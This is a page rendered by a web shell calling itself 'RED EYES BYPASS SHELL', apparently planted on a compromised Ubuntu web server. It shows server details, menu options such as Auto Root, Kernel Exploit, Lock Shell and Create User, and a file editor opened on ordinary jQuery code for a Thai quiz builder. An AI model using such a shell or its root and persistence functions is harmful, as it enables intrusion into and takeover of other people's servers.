Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
work_181165 /
page /
Formtest /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
index.css
5.72
KB
-rwxr-xr-x
index.js
16.8
KB
-rwxr-xr-x
index.php
8.52
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
var AuthToken = localStorage.getItem("AuthToken"); var page = 1; var show = 1; var showpage = 5; var row = $(`#limit-row`).val(); var totalpage = 0; var limit = 5; var data; $(document).ready((req) => { render(); }); function ValidData() { $(`.pagi-frame`).html(""); $(`#dataBody`).html(""); $(`.pagi-frame`).html( `<p class="text-muted"><i class="fa-solid fa-circle-exclamation me-2"></i> ไม่มีข้อมูล</p>` ); } function render() { row = $(`#limit-row`).val(); $(`.pagi-frame`).html(`<span class="loader"></span>`); $.ajax({ url: "API//Form/fetch", method: "POST", contentType: "application/json", dataType: "json", data: JSON.stringify({ page, row, AuthToken, }), }) .done((res) => { data = res.data; totalpage = res.row; if (data.length == 0 && totalpage !== 0) { page = page - 1; render(); } else if (data.length == 0 && totalpage == 0) { ValidData(); } else { insert(); } }) .fail((err) => { ErrorTime(1500, err.responseJSON.message, false); return; }); } function insert() { $(`#dataBody`).html(""); var html = ""; for (let i = 0; i < data.length; i++) { html += ` <a href="FormDetail?ID=${data[i].ID}" class="col item"> <span>${data[i].name}</span> </a> `; } $(`#dataBody`).html(html); $(`.pagi-frame`).html(""); var pagination = ""; pagination += ` <nav aria-label="Page navigation "> <ul class="pagination justify-content-center"> <li class="page-item next"> <a class="page-link page" data-id=""><i class="fa-solid fa-chevron-left"></i></a> </li>`; if (showpage > totalpage) { showpage = totalpage; } for (var i = show; i <= showpage; i++) { pagination += `<li class="page-item page" data-id="${i}"><span class="page-link">${i}</span></li>`; } pagination += ` <li class="page-item"> <a class="page-link Previous" ><i class="fa-solid fa-chevron-right"></i></a> </li> </ul> </nav> `; $(`.pagi-frame`).html(pagination); } $(document).on(`click`, `.btn-plus`, () => { $(`#bd-1`).toggle("hide"); $(`#bd-2`).toggle("hide"); }); $(document).on(`click`, `#return-btn`, () => { swal .fire({ customClass: { confirmButton: "btn btn-success m-1", cancelButton: "btn btn-danger m-1", }, buttonsStyling: false, text: "ยืนยันการยกเลิกสร้างแบบทดสอบ?", icon: "warning", showCancelButton: true, confirmButtonText: "ยืนยัน", cancelButtonText: "ยกเลิก", reverseButtons: true, }) .then((result) => { if (result.isConfirmed) { $(`#bd-1`).toggle("hide"); $(`#bd-2`).toggle("hide"); $(`#bd-2`).html(` <div class="form-test"> <div class="head-test"> <div class="top"> <input type="text" id="title-test" class="inp-tran" value="ฟอร์มไม่มีชื่อ"> </div> <div class="bottom"> <div class="form-floating"> <textarea class="form-control" id="detail-test" oninput="auto_grow(this)" placeholder="Leave"></textarea> <label for="floatingTextarea">คำอธิบายฟอร์ม</label> </div> </div> </div> <div class="test-list"> <div class="test" data-id="0"> <div class="inp-frame"> <input type="text" id="question" data-id="0" value="คำถาม"> </div> <div class="role" data-id="0"> <div class="form-check" data-id="0" data-unit="0"> <input data-bs-toggle="tooltip" data-bs-placement="left" title="คำตอบ" class="form-check-input" type="radio" name="radio0" data-id="0" data-unit="0" id="answer"> <input class="radio-input form-control" placeholder="คำตอบ" id="question" type="text" data-id="0" data-unit="0"> <button class="delete-inp" data-id="0" data-unit="0"> <i class="fa-solid fa-xmark"></i> </button> </div> </div> <div class="form-check"> <input class="form-check-input" type="radio" disabled> <button class="form-check-label btn-add-inp" data-unit="0"> เพิ่มตัวเลือก </button> </div> </div> </div> <div class="tool"> <button id="return-btn"><i class="fa-solid fa-arrow-left"></i> กลับ</button> <ul> <li data-bs-toggle="tooltip" data-bs-placement="top" title="เพิ่มคำถาม"> <button class="btn-clear" id="sub-test"> <i class="fa-solid fa-circle-plus"></i> </button> </li> </ul> </div> <div class="d-grid gap-2 col-6 mx-auto"> <button class="btn btn-primary" type="button" id="save-test">บันทึก</button> </div> </div> `); test = [{ index: 0, radio: [{ i: 0, }, ], }, ]; } }); }); $("#ulpage").on("click", ".next", function(e) { if (page == totalpage) { return; } page = page + 1; checkpage(page); if (serch == false) { render(); } else { serchData(); } }); $("#ulpage").on("click", ".Previous", function(e) { if (page == 1) { return; } page = page - 1; checkpage(page); if (serch == false) { render(); } else { serchData(); } }); function checkpage(cu_page) { show = 0; showpage = Math.round(cu_page / 10) * 10; limit = showpage; page = cu_page; if (showpage == 0) { showpage = showpage + 5; show = showpage - 5 + 1; } else if (page == limit) { showpage = showpage + 5; show = showpage - 5 - 1; } else { show = showpage - 6; } if (showpage > totalpage) { showpage = totalpage; } if (page > showpage) { showpage = showpage + 5; show = showpage - 6; } } $("#ulpage").on("click", ".page", function(e) { var cu_page = Number(e.currentTarget.attributes["1"].nodeValue); if (cu_page == page || cu_page > totalpage) { return; } show = 0; showpage = Math.round(cu_page / 10) * 10; limit = showpage; page = cu_page; if (showpage == 0) { showpage = showpage + 5; show = showpage - 5 + 1; } else if (page == limit) { showpage = showpage + 5; show = showpage - 5 - 1; } else { show = showpage - 6; } if (showpage > totalpage) { showpage = totalpage; } if (page > showpage) { showpage = showpage + 5; show = showpage - 6; } if (serch == false) { render(); } else { serchData(); } }); function auto_grow(element) { element.style.height = "5px"; element.style.height = element.scrollHeight + "px"; } var test = []; test.push({ index: 0, radio: [{ i: 0, }, ], }); $(document).on("click", ".btn-add-inp", (req) => { var unit = $(req.currentTarget).data("unit"); var sta = false; for (let i = 0; i < test.length; i++) { if (test[i].index == unit) { sta = true; index = i; break; } } if (test[index].radio.length == 0) { test[index].radio.push({ i: 0 }); var num = 0; } else { var leg = test[index].radio.length; var num = test[index].radio[leg - 1].i + 1; test[index].radio.push({ i: num }); } $(`.role[data-id="${unit}"]`).append(` <div class="form-check" data-id="${num}" data-unit="${unit}"> <input data-bs-toggle="tooltip" data-bs-placement="left" title="คำตอบ" class="form-check-input" type="radio" data-id="${num}" data-unit="${unit}" name="radio${unit}" id="answer"> <input class="radio-input" placeholder="คำตอบ" type="text" id="question" data-id="${num}" data-unit="${unit}" > <button class="delete-inp" data-id="${num}" data-unit="${unit}"> <i class="fa-solid fa-xmark"></i> </button> </div> `); $(`#question[data-id="${num}"][data-unit="${unit}"]`).focus(); tool(); }); $(document).on("click", "#sub-test", (req) => { var num = test[test.length - 1].index + 1; test.push({ index: num, radio: [{ i: 0, }, ], }); $(`.test-list`).append(` <div class="test" data-id="${num}"> <div class="inp-frame"> <input type="text" id="question" value="คำถาม" data-id="${num}" > </div> <div class="role" data-id="${num}"> <div class="form-check" data-id="0" data-unit="${num}"> <input data-bs-toggle="tooltip" data-bs-placement="left" title="คำตอบ" class="form-check-input" type="radio" name="radio${num}" id="answer" data-id="0" data-unit="${num}"> <input class="radio-input form-control" id="question" placeholder="คำตอบ" type="text" data-id="0" data-unit="${num}"> <button class="delete-inp" data-id="0" data-unit="${num}"> <i class="fa-solid fa-xmark"></i> </button> </div> </div> <div class="form-check"> <input class="form-check-input" type="radio" disabled> <button class="form-check-label btn-add-inp" data-unit="${num}"> เพิ่มตัวเลือก </button> </div> <div class="choice"> <div class="switch"> <p class="text-muted">ต้องระบุคำตอบ</p> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" id="make" data-unit="${num}"> </div> </div> </div> <button class="btn-delete" data-id="${num}" data-bs-toggle="tooltip" data-bs-placement="left" title="ลบคำถาม"><i class="fa-solid fa-trash-can"></i></button> </div> `); tool(); var html = "" for (let i = 0 ; i < test.length; i++) { html +=` <option value="${i+1}">${i+1} คะแนน</option> ` } $(`#point-pass`).html(html) }); $(document).on("click", `.delete-inp`, (req) => { var id = $(req.currentTarget).data("id"); var unit = $(req.currentTarget).data("unit"); for (let y = 0; y < test.length; y++) { if (test[y].index == unit) { for (let t = 0; t < test[y].radio.length; t++) { if (test[y].radio[t].i == id) { test[y].radio.splice(t, 1); break; } } break; } } $(`.form-check[data-id="${id}"][data-unit="${unit}"]`).remove(); tool(); }); $(document).on("click", `.btn-delete`, (req) => { var id = $(req.currentTarget).data("id"); for (let y = 0; y < test.length; y++) { if (test[y].index == id) { test.splice(y, 1); break; } } $(`.test[data-id="${id}"]`).remove(); $(`.tooltip`).remove(); tool(); }); function tool() { var tooltipTriggerList = [].slice.call( document.querySelectorAll('[data-bs-toggle="tooltip"]') ); for (let i = 0; i < tooltipTriggerList.length; i++) { $(tooltipTriggerList[i]).tooltip("dispose"); } var tooltipList = tooltipTriggerList.map(function(tooltipTriggerEl) { return new bootstrap.Tooltip(tooltipTriggerEl); }); } $(document).on("keyup", "#title-test", (req) => { req = req.currentTarget; if ( /^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ !@-_#$%*&()"';:]+$/.test( req.value ) == false ) { inValid(req); } else { Valid(req); } }); $(document).on("keyup", "#detail-test", (req) => { req = req.currentTarget; if ( /^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ !@-_#$%*&()"';:\r\n|\r|\n]+$/.test( req.value ) == false && detail.value !== "" ) { inValid(req); } else { Valid(req); } }); $(document).on(`click`, `#save-test`, (req) => { var sta = false; var title = $(`#title-test`)[0]; var detail = $(`#detail-test`)[0]; if ( /^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ !@-_#$%*&()"';:\r\n|\r|\n]+$/.test( detail.value ) == false && detail.value !== "" ) { inValid(detail); sta = true; } else { reValid(detail); } if ( /^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ !@-_#$%*&()"';:]+$/.test( title.value ) == false ) { inValid(title); sta = true; } else { reValid(title); } if (sta == true) { ErrorTime(2500, "ข้อมูลไม่ถูกต้อง!!", false); return; } var Arr = []; for (let i = 0; i < test.length; i++) { var tt = []; var unit = test[i].index; var quest = $(`#question[data-id="${unit}"]`).val(); var make = $(`#make[data-unit="${unit}"]`)[0].checked if (make == true) { make = 200; }else { make = 405; } for (let t = 0; t < test[i].radio.length; t++) { var num = test[i].radio[t].i; var answer = $(`#answer[data-id="${num}"][data-unit="${unit}"]`)[0]; var question = $(`#question[data-id="${num}"][data-unit="${unit}"]`)[0]; tt.push({ value: question.value, answer: answer.checked, }); } Arr.push({ choice: tt, question: quest, make: make }); } var point = $(`#point-pass`).val() var showAns = $(`#show-answer`)[0].checked var arr = JSON.stringify({ title: title.value, detail: detail.value, Arr: Arr, point, answer: showAns, AuthToken: AuthToken, }); questionTime(10000, "กำลังบันทึกข้อมูล", false); $.ajax({ url: "API//Form/saveTest", method: "POST", contentType: "application/json", dataType: "json", data: arr, }) .done((res) => { render(); $(`#bd-1`).toggle("hide"); $(`#bd-2`).toggle("hide"); $(`#bd-2`).html(` <div class="form-test"> <div class="head-test"> <div class="top"> <input type="text" id="title-test" class="inp-tran" value="ฟอร์มไม่มีชื่อ"> </div> <div class="bottom"> <div class="form-floating"> <textarea class="form-control" id="detail-test" oninput="auto_grow(this)" placeholder="Leave"></textarea> <label for="floatingTextarea">คำอธิบายฟอร์ม</label> </div> </div> </div> <div class="test-list"> <div class="test" data-id="0"> <div class="inp-frame"> <input type="text" id="question" data-id="0" value="คำถาม"> </div> <div class="role" data-id="0"> <div class="form-check" data-id="0" data-unit="0"> <input data-bs-toggle="tooltip" data-bs-placement="left" title="คำตอบ" class="form-check-input" type="radio" name="radio0" data-id="0" data-unit="0" id="answer"> <input class="radio-input form-control" placeholder="คำตอบ" id="question" type="text" data-id="0" data-unit="0"> <button class="delete-inp" data-id="0" data-unit="0"> <i class="fa-solid fa-xmark"></i> </button> </div> </div> <div class="form-check"> <input class="form-check-input" type="radio" disabled> <button class="form-check-label btn-add-inp" data-unit="0"> เพิ่มตัวเลือก </button> </div> <div class="choice"> <div class="switch"> <p class="text-muted">ต้องระบุคำตอบ</p> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" id="make" data-unit="0"> </div> </div> </div> </div> </div> <div class="tool"> <button id="return-btn"><i class="fa-solid fa-arrow-left"></i> กลับ</button> <ul> <li data-bs-toggle="tooltip" data-bs-placement="top" title="เพิ่มคำถาม"> <button class="btn-clear" id="sub-test"> <i class="fa-solid fa-circle-plus"></i> </button> </li> </ul> </div> <div class="d-grid gap-2 col-6 mx-auto"> <button class="btn btn-primary" type="button" id="save-test">บันทึก</button> </div> </div> `); test = [{ index: 0, radio: [{ i: 0, }, ], }, ]; successTime(1500, "บันทึกข้อมูลสำเร็จ", false); }) .fail((err) => { ErrorTime(1500, err.responseJSON.message, false); return; }); }); $(document).on("click", `#toggle-f1`, (req) => { $(`#f-1`).hide("show") $(`#f-2`).hide("show") $(`#f-1`).show("show") $(`#toggle-f2`).removeClass("active") $(`#toggle-f1`).addClass("active") }) $(document).on("click", `#toggle-f2`, (req) => { $(`#f-1`).hide("show") $(`#f-2`).hide("show") $(`#f-2`).show("show") $(`#toggle-f1`).removeClass("active") $(`#toggle-f2`).addClass("active") })
Close